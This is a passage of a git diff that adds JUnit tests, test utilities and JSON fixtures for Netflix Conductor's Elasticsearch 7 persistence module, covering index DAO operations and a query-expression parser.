@Test + public void shouldRemoveTask() { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + + TaskSummary taskSummary = + TestUtils.loadTaskSnapshot( + objectMapper, "task_summary", workflowSummary.getWorkflowId()); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.removeTask(workflowSummary.getWorkflowId(), taskSummary.getTaskId()); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertTrue("Task was not removed.", tasks.isEmpty()); + } + + @Test + public void shouldAsyncRemoveTask() throws Exception { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + + // wait for workflow to be indexed + tryFindResults(() -> searchWorkflows(workflowSummary.getWorkflowId()), 1); + + TaskSummary taskSummary = + TestUtils.loadTaskSnapshot( + objectMapper, "task_summary", workflowSummary.getWorkflowId()); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.asyncRemoveTask(workflowSummary.getWorkflowId(), taskSummary.getTaskId()).get(); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertTrue("Task was not removed.", tasks.isEmpty()); + } + + @Test + public void shouldNotRemoveTaskWhenNotAssociatedWithWorkflow() { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.removeTask("InvalidWorkflow", taskSummary.getTaskId()); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertFalse("Task was removed.", tasks.isEmpty()); + } + + @Test + public void shouldNotAsyncRemoveTaskWhenNotAssociatedWithWorkflow() throws Exception { + TaskSummary taskSummary = TestUtils.loadTaskSnapshot(objectMapper, "task_summary"); + indexDAO.indexTask(taskSummary); + + // Wait for the task to be indexed + List tasks = tryFindResults(() -> searchTasks(taskSummary), 1); + + indexDAO.asyncRemoveTask("InvalidWorkflow", taskSummary.getTaskId()).get(); + + tasks = tryFindResults(() -> searchTasks(taskSummary), 0); + + assertFalse("Task was removed.", tasks.isEmpty()); + } + + @Test + public void shouldAddTaskExecutionLogs() { + List logs = new ArrayList<>(); + String taskId = uuid(); + logs.add(createLog(taskId, "log1")); + logs.add(createLog(taskId, "log2")); + logs.add(createLog(taskId, "log3")); + + indexDAO.addTaskExecutionLogs(logs); + + List indexedLogs = + tryFindResults(() -> indexDAO.getTaskExecutionLogs(taskId), 3); + + assertEquals(3, indexedLogs.size()); + + assertTrue("Not all logs was indexed", indexedLogs.containsAll(logs)); + } + + @Test + public void shouldAddTaskExecutionLogsAsync() throws Exception { + List logs = new ArrayList<>(); + String taskId = uuid(); + logs.add(createLog(taskId, "log1")); + logs.add(createLog(taskId, "log2")); + logs.add(createLog(taskId, "log3")); + + indexDAO.asyncAddTaskExecutionLogs(logs).get(); + + List indexedLogs = + tryFindResults(() -> indexDAO.getTaskExecutionLogs(taskId), 3); + + assertEquals(3, indexedLogs.size()); + + assertTrue("Not all logs was indexed", indexedLogs.containsAll(logs)); + } + + @Test + public void shouldAddMessage() { + String queue = "queue"; + Message message1 = new Message(uuid(), "payload1", null); + Message message2 = new Message(uuid(), "payload2", null); + + indexDAO.addMessage(queue, message1); + indexDAO.addMessage(queue, message2); + + List indexedMessages = tryFindResults(() -> indexDAO.getMessages(queue), 2); + + assertEquals(2, indexedMessages.size()); + + assertTrue( + "Not all messages was indexed", + indexedMessages.containsAll(Arrays.asList(message1, message2))); + } + + @Test + public void shouldAddEventExecution() { + String event = "event"; + EventExecution execution1 = createEventExecution(event); + EventExecution execution2 = createEventExecution(event); + + indexDAO.addEventExecution(execution1); + indexDAO.addEventExecution(execution2); + + List indexedExecutions = + tryFindResults(() -> indexDAO.getEventExecutions(event), 2); + + assertEquals(2, indexedExecutions.size()); + + assertTrue( + "Not all event executions was indexed", + indexedExecutions.containsAll(Arrays.asList(execution1, execution2))); + } + + @Test + public void shouldAsyncAddEventExecution() throws Exception { + String event = "event2"; + EventExecution execution1 = createEventExecution(event); + EventExecution execution2 = createEventExecution(event); + + indexDAO.asyncAddEventExecution(execution1).get(); + indexDAO.asyncAddEventExecution(execution2).get(); + + List indexedExecutions = + tryFindResults(() -> indexDAO.getEventExecutions(event), 2); + + assertEquals(2, indexedExecutions.size()); + + assertTrue( + "Not all event executions was indexed", + indexedExecutions.containsAll(Arrays.asList(execution1, execution2))); + } + + @Test + public void shouldAddIndexPrefixToIndexTemplate() throws Exception { + String json = TestUtils.loadJsonResource("expected_template_task_log"); + String content = indexDAO.loadTypeMappingSource("/template_task_log.json"); + + assertEquals(json, content); + } + + @Test + public void shouldSearchRecentRunningWorkflows() throws Exception { + WorkflowSummary oldWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + oldWorkflow.setStatus(WorkflowStatus.RUNNING); + oldWorkflow.setUpdateTime(getFormattedTime(new DateTime().minusHours(2).toDate())); + + WorkflowSummary recentWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + recentWorkflow.setStatus(WorkflowStatus.RUNNING); + recentWorkflow.setUpdateTime(getFormattedTime(new DateTime().minusHours(1).toDate())); + + WorkflowSummary tooRecentWorkflow = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + tooRecentWorkflow.setStatus(WorkflowStatus.RUNNING); + tooRecentWorkflow.setUpdateTime(getFormattedTime(new DateTime().toDate())); + + indexDAO.indexWorkflow(oldWorkflow); + indexDAO.indexWorkflow(recentWorkflow); + indexDAO.indexWorkflow(tooRecentWorkflow); + + Thread.sleep(1000); + + List ids = indexDAO.searchRecentRunningWorkflows(2, 1); + + assertEquals(1, ids.size()); + assertEquals(recentWorkflow.getWorkflowId(), ids.get(0)); + } + + @Test + public void shouldCountWorkflows() { + int counts = 1100; + for (int i = 0; i < counts; i++) { + WorkflowSummary workflowSummary = + TestUtils.loadWorkflowSnapshot(objectMapper, "workflow_summary"); + indexDAO.indexWorkflow(workflowSummary); + } + + // wait for workflow to be indexed + long result = tryGetCount(() -> getWorkflowCount("template_workflow", "RUNNING"), counts); + assertEquals(counts, result); + } + + private long tryGetCount(Supplier countFunction, int resultsCount) { + long result = 0; + for (int i = 0; i < 20; i++) { + result = countFunction.get(); + if (result == resultsCount) { + return result; + } + try { + Thread.sleep(100); + } catch (InterruptedException e) { + throw new RuntimeException(e.getMessage(), e); + } + } + return result; + } + + // Get total workflow counts given the name and status + private long getWorkflowCount(String workflowName, String status) { + return indexDAO.getWorkflowCount( + "status=\"" + status + "\" AND workflowType=\"" + workflowName + "\"", "*"); + } + + private void assertWorkflowSummary(String workflowId, WorkflowSummary summary) { + assertEquals(summary.getWorkflowType(), indexDAO.get(workflowId, "workflowType")); + assertEquals(String.valueOf(summary.getVersion()), indexDAO.get(workflowId, "version")); + assertEquals(summary.getWorkflowId(), indexDAO.get(workflowId, "workflowId")); + assertEquals(summary.getCorrelationId(), indexDAO.get(workflowId, "correlationId")); + assertEquals(summary.getStartTime(), indexDAO.get(workflowId, "startTime")); + assertEquals(summary.getUpdateTime(), indexDAO.get(workflowId, "updateTime")); + assertEquals(summary.getEndTime(), indexDAO.get(workflowId, "endTime")); + assertEquals(summary.getStatus().name(), indexDAO.get(workflowId, "status")); + assertEquals(summary.getInput(), indexDAO.get(workflowId, "input")); + assertEquals(summary.getOutput(), indexDAO.get(workflowId, "output")); + assertEquals( + summary.getReasonForIncompletion(), + indexDAO.get(workflowId, "reasonForIncompletion")); + assertEquals( + String.valueOf(summary.getExecutionTime()), + indexDAO.get(workflowId, "executionTime")); + assertEquals(summary.getEvent(), indexDAO.get(workflowId, "event")); + assertEquals( + summary.getFailedReferenceTaskNames(), + indexDAO.get(workflowId, "failedReferenceTaskNames")); + } + + private String getFormattedTime(Date time) { + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'"); + sdf.setTimeZone(TimeZone.getTimeZone("GMT")); + return sdf.format(time); + } + + private List tryFindResults(Supplier> searchFunction) { + return tryFindResults(searchFunction, 1); + } + + private List tryFindResults(Supplier> searchFunction, int resultsCount) { + List result = Collections.emptyList(); + for (int i = 0; i < 20; i++) { + result = searchFunction.get(); + if (result.size() == resultsCount) { + return result; + } + try { + Thread.sleep(100); + } catch (InterruptedException e) { + throw new RuntimeException(e.getMessage(), e); + } + } + return result; + } + + private List searchWorkflows(String workflowId) { + return indexDAO.searchWorkflows( + "", "workflowId:\"" + workflowId + "\"", 0, 100, Collections.emptyList()) + .getResults(); + } + + private List searchTasks(TaskSummary taskSummary) { + return indexDAO.searchTasks( + "", + "workflowId:\"" + taskSummary.getWorkflowId() + "\"", + 0, + 100, + Collections.emptyList()) + .getResults(); + } + + private TaskExecLog createLog(String taskId, String log) { + TaskExecLog taskExecLog = new TaskExecLog(log); + taskExecLog.setTaskId(taskId); + return taskExecLog; + } + + private EventExecution createEventExecution(String event) { + EventExecution execution = new EventExecution(uuid(), uuid()); + execution.setName("name"); + execution.setEvent(event); + execution.setCreated(System.currentTimeMillis()); + execution.setStatus(EventExecution.Status.COMPLETED); + execution.setAction(EventHandler.Action.Type.start_workflow); + execution.setOutput(ImmutableMap.of("a", 1, "b", 2, "c", 3)); + return execution; + } + + private String uuid() { + return UUID.randomUUID().toString(); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestElasticSearchRestDAOV7Batch.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestElasticSearchRestDAOV7Batch.java new file mode 100644 index 0000000..373339c --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/index/TestElasticSearchRestDAOV7Batch.java @@ -0,0 +1,81 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.index; + +import java.util.HashMap; +import java.util.concurrent.TimeUnit; + +import org.junit.Test; +import org.springframework.test.context.TestPropertySource; + +import com.netflix.conductor.common.metadata.tasks.Task.Status; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; + +import com.fasterxml.jackson.core.JsonProcessingException; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertTrue; + +@TestPropertySource(properties = "conductor.elasticsearch.indexBatchSize=2") +public class TestElasticSearchRestDAOV7Batch extends ElasticSearchRestDaoBaseTest { + + @Test + public void indexTaskWithBatchSizeTwo() { + String correlationId = "some-correlation-id"; + + TaskSummary taskSummary = new TaskSummary(); + taskSummary.setTaskId("some-task-id"); + taskSummary.setWorkflowId("some-workflow-instance-id"); + taskSummary.setTaskType("some-task-type"); + taskSummary.setStatus(Status.FAILED); + try { + taskSummary.setInput( + objectMapper.writeValueAsString( + new HashMap() { + { + put("input_key", "input_value"); + } + })); + } catch (JsonProcessingException e) { + throw new RuntimeException(e); + } + taskSummary.setCorrelationId(correlationId); + taskSummary.setTaskDefName("some-task-def-name"); + taskSummary.setReasonForIncompletion("some-failure-reason"); + + indexDAO.indexTask(taskSummary); + indexDAO.indexTask(taskSummary); + + await().atMost(5, TimeUnit.SECONDS) + .untilAsserted( + () -> { + SearchResult result = + indexDAO.searchTasks( + "correlationId='" + correlationId + "'", + "*", + 0, + 10000, + null); + + assertTrue( + "should return 1 or more search results", + result.getResults().size() > 0); + assertEquals( + "taskId should match the indexed task", + "some-task-id", + result.getResults().get(0)); + }); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/TestExpression.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/TestExpression.java new file mode 100644 index 0000000..b8d580b --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/TestExpression.java @@ -0,0 +1,149 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +import org.junit.Test; + +import com.netflix.conductor.es7.dao.query.parser.internal.AbstractParserTest; +import com.netflix.conductor.es7.dao.query.parser.internal.ConstValue; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; +import static org.junit.Assert.assertTrue; + +/** + * @author Viren + */ +public class TestExpression extends AbstractParserTest { + + @Test + public void test() throws Exception { + String test = + "type='IMAGE' AND subType ='sdp' AND (metadata.width > 50 OR metadata.height > 50)"; + // test = "type='IMAGE' AND subType ='sdp'"; + // test = "(metadata.type = 'IMAGE')"; + InputStream is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + Expression expr = new Expression(is); + + System.out.println(expr); + + assertTrue(expr.isBinaryExpr()); + assertNull(expr.getGroupedExpression()); + assertNotNull(expr.getNameValue()); + + NameValue nv = expr.getNameValue(); + assertEquals("type", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"IMAGE\"", nv.getValue().getValue()); + + Expression rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertTrue(rhs.isBinaryExpr()); + + nv = rhs.getNameValue(); + assertNotNull(nv); // subType = sdp + assertNull(rhs.getGroupedExpression()); + assertEquals("subType", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"sdp\"", nv.getValue().getValue()); + + assertEquals("AND", rhs.getOperator().getOperator()); + rhs = rhs.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + GroupedExpression ge = rhs.getGroupedExpression(); + assertNotNull(ge); + expr = ge.getExpression(); + assertNotNull(expr); + + assertTrue(expr.isBinaryExpr()); + nv = expr.getNameValue(); + assertNotNull(nv); + assertEquals("metadata.width", nv.getName().getName()); + assertEquals(">", nv.getOp().getOperator()); + assertEquals("50", nv.getValue().getValue()); + + assertEquals("OR", expr.getOperator().getOperator()); + rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + nv = rhs.getNameValue(); + assertNotNull(nv); + + assertEquals("metadata.height", nv.getName().getName()); + assertEquals(">", nv.getOp().getOperator()); + assertEquals("50", nv.getValue().getValue()); + } + + @Test + public void testWithSysConstants() throws Exception { + String test = "type='IMAGE' AND subType ='sdp' AND description IS null"; + InputStream is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + Expression expr = new Expression(is); + + System.out.println(expr); + + assertTrue(expr.isBinaryExpr()); + assertNull(expr.getGroupedExpression()); + assertNotNull(expr.getNameValue()); + + NameValue nv = expr.getNameValue(); + assertEquals("type", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"IMAGE\"", nv.getValue().getValue()); + + Expression rhs = expr.getRightHandSide(); + assertNotNull(rhs); + assertTrue(rhs.isBinaryExpr()); + + nv = rhs.getNameValue(); + assertNotNull(nv); // subType = sdp + assertNull(rhs.getGroupedExpression()); + assertEquals("subType", nv.getName().getName()); + assertEquals("=", nv.getOp().getOperator()); + assertEquals("\"sdp\"", nv.getValue().getValue()); + + assertEquals("AND", rhs.getOperator().getOperator()); + rhs = rhs.getRightHandSide(); + assertNotNull(rhs); + assertFalse(rhs.isBinaryExpr()); + GroupedExpression ge = rhs.getGroupedExpression(); + assertNull(ge); + nv = rhs.getNameValue(); + assertNotNull(nv); + assertEquals("description", nv.getName().getName()); + assertEquals("IS", nv.getOp().getOperator()); + ConstValue cv = nv.getValue(); + assertNotNull(cv); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NULL); + + test = "description IS not null"; + is = new BufferedInputStream(new ByteArrayInputStream(test.getBytes())); + expr = new Expression(is); + + System.out.println(expr); + nv = expr.getNameValue(); + assertNotNull(nv); + assertEquals("description", nv.getName().getName()); + assertEquals("IS", nv.getOp().getOperator()); + cv = nv.getValue(); + assertNotNull(cv); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NOT_NULL); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/TestGroupedExpression.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/TestGroupedExpression.java new file mode 100644 index 0000000..d114ec0 --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/TestGroupedExpression.java @@ -0,0 +1,24 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser; + +import org.junit.Test; + +/** + * @author Viren + */ +public class TestGroupedExpression { + + @Test + public void test() {} +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/AbstractParserTest.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/AbstractParserTest.java new file mode 100644 index 0000000..91e3583 --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/AbstractParserTest.java @@ -0,0 +1,27 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import java.io.BufferedInputStream; +import java.io.ByteArrayInputStream; +import java.io.InputStream; + +/** + * @author Viren + */ +public abstract class AbstractParserTest { + + protected InputStream getInputStream(String expression) { + return new BufferedInputStream(new ByteArrayInputStream(expression.getBytes())); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestBooleanOp.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestBooleanOp.java new file mode 100644 index 0000000..d2b6f38 --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestBooleanOp.java @@ -0,0 +1,44 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestBooleanOp extends AbstractParserTest { + + @Test + public void test() throws Exception { + String[] tests = new String[] {"AND", "OR"}; + for (String test : tests) { + BooleanOp name = new BooleanOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } + } + + @Test(expected = ParserException.class) + public void testInvalid() throws Exception { + String test = "<"; + BooleanOp name = new BooleanOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestComparisonOp.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestComparisonOp.java new file mode 100644 index 0000000..585efd2 --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestComparisonOp.java @@ -0,0 +1,44 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestComparisonOp extends AbstractParserTest { + + @Test + public void test() throws Exception { + String[] tests = new String[] {"<", ">", "=", "!=", "IN", "BETWEEN", "STARTS_WITH"}; + for (String test : tests) { + ComparisonOp name = new ComparisonOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } + } + + @Test(expected = ParserException.class) + public void testInvalidOp() throws Exception { + String test = "AND"; + ComparisonOp name = new ComparisonOp(getInputStream(test)); + String nameVal = name.getOperator(); + assertNotNull(nameVal); + assertEquals(test, nameVal); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestConstValue.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestConstValue.java new file mode 100644 index 0000000..28871d4 --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestConstValue.java @@ -0,0 +1,101 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import java.util.List; + +import org.junit.Test; + +import static org.junit.Assert.*; + +/** + * @author Viren + */ +public class TestConstValue extends AbstractParserTest { + + @Test + public void testStringConst() throws Exception { + String test = "'string value'"; + String expected = + test.replaceAll( + "'", "\""); // Quotes are removed but then the result is double quoted. + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(expected, cv.getValue()); + assertTrue(cv.getValue() instanceof String); + + test = "\"string value\""; + cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(expected, cv.getValue()); + assertTrue(cv.getValue() instanceof String); + } + + @Test + public void testSystemConst() throws Exception { + String test = "null"; + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertTrue(cv.getValue() instanceof String); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NULL); + test = "null"; + + test = "not null"; + cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertEquals(cv.getSysConstant(), ConstValue.SystemConsts.NOT_NULL); + } + + @Test(expected = ParserException.class) + public void testInvalid() throws Exception { + String test = "'string value"; + new ConstValue(getInputStream(test)); + } + + @Test + public void testNumConst() throws Exception { + String test = "12345.89"; + ConstValue cv = new ConstValue(getInputStream(test)); + assertNotNull(cv.getValue()); + assertTrue( + cv.getValue() + instanceof + String); // Numeric values are stored as string as we are just passing thru + // them to ES + assertEquals(test, cv.getValue()); + } + + @Test + public void testRange() throws Exception { + String test = "50 AND 100"; + Range range = new Range(getInputStream(test)); + assertEquals("50", range.getLow()); + assertEquals("100", range.getHigh()); + } + + @Test(expected = ParserException.class) + public void testBadRange() throws Exception { + String test = "50 AND"; + new Range(getInputStream(test)); + } + + @Test + public void testArray() throws Exception { + String test = "(1, 3, 'name', 'value2')"; + ListConst lc = new ListConst(getInputStream(test)); + List list = lc.getList(); + assertEquals(4, list.size()); + assertTrue(list.contains("1")); + assertEquals("'value2'", list.get(3)); // Values are preserved as it is... + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestName.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestName.java new file mode 100644 index 0000000..b7d2a7a --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/dao/query/parser/internal/TestName.java @@ -0,0 +1,33 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.dao.query.parser.internal; + +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; + +/** + * @author Viren + */ +public class TestName extends AbstractParserTest { + + @Test + public void test() throws Exception { + String test = "metadata.en_US.lang "; + Name name = new Name(getInputStream(test)); + String nameVal = name.getName(); + assertNotNull(nameVal); + assertEquals(test.trim(), nameVal); + } +} diff --git a/es7-persistence/src/test/java/com/netflix/conductor/es7/utils/TestUtils.java b/es7-persistence/src/test/java/com/netflix/conductor/es7/utils/TestUtils.java new file mode 100644 index 0000000..729336e --- /dev/null +++ b/es7-persistence/src/test/java/com/netflix/conductor/es7/utils/TestUtils.java @@ -0,0 +1,76 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.es7.utils; + +import org.apache.commons.io.Charsets; + +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.core.utils.IDGenerator; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.io.Resources; + +public class TestUtils { + + private static final String WORKFLOW_SCENARIO_EXTENSION = ".json"; + private static final String WORKFLOW_INSTANCE_ID_PLACEHOLDER = "WORKFLOW_INSTANCE_ID"; + + public static WorkflowSummary loadWorkflowSnapshot( + ObjectMapper objectMapper, String resourceFileName) { + try { + String content = loadJsonResource(resourceFileName); + String workflowId = new IDGenerator().generate(); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, WorkflowSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static TaskSummary loadTaskSnapshot(ObjectMapper objectMapper, String resourceFileName) { + try { + String content = loadJsonResource(resourceFileName); + String workflowId = new IDGenerator().generate(); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, TaskSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static TaskSummary loadTaskSnapshot( + ObjectMapper objectMapper, String resourceFileName, String workflowId) { + try { + String content = loadJsonResource(resourceFileName); + content = content.replace(WORKFLOW_INSTANCE_ID_PLACEHOLDER, workflowId); + + return objectMapper.readValue(content, TaskSummary.class); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + public static String loadJsonResource(String resourceFileName) { + try { + return Resources.toString( + TestUtils.class.getResource( + "/" + resourceFileName + WORKFLOW_SCENARIO_EXTENSION), + Charsets.UTF_8); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } +} diff --git a/es7-persistence/src/test/resources/expected_template_task_log.json b/es7-persistence/src/test/resources/expected_template_task_log.json new file mode 100644 index 0000000..ebb8d4a --- /dev/null +++ b/es7-persistence/src/test/resources/expected_template_task_log.json @@ -0,0 +1,24 @@ +{ + "index_patterns" : [ "*conductor_task*log*" ], + "template" : { + "settings" : { + "refresh_interval" : "1s" + }, + "mappings" : { + "properties" : { + "createdTime" : { + "type" : "long" + }, + "log" : { + "type" : "keyword", + "index" : true + }, + "taskId" : { + "type" : "keyword", + "index" : true + } + } + }, + "aliases" : { } + } +} \ No newline at end of file diff --git a/es7-persistence/src/test/resources/task_summary.json b/es7-persistence/src/test/resources/task_summary.json new file mode 100644 index 0000000..a409a22 --- /dev/null +++ b/es7-persistence/src/test/resources/task_summary.json 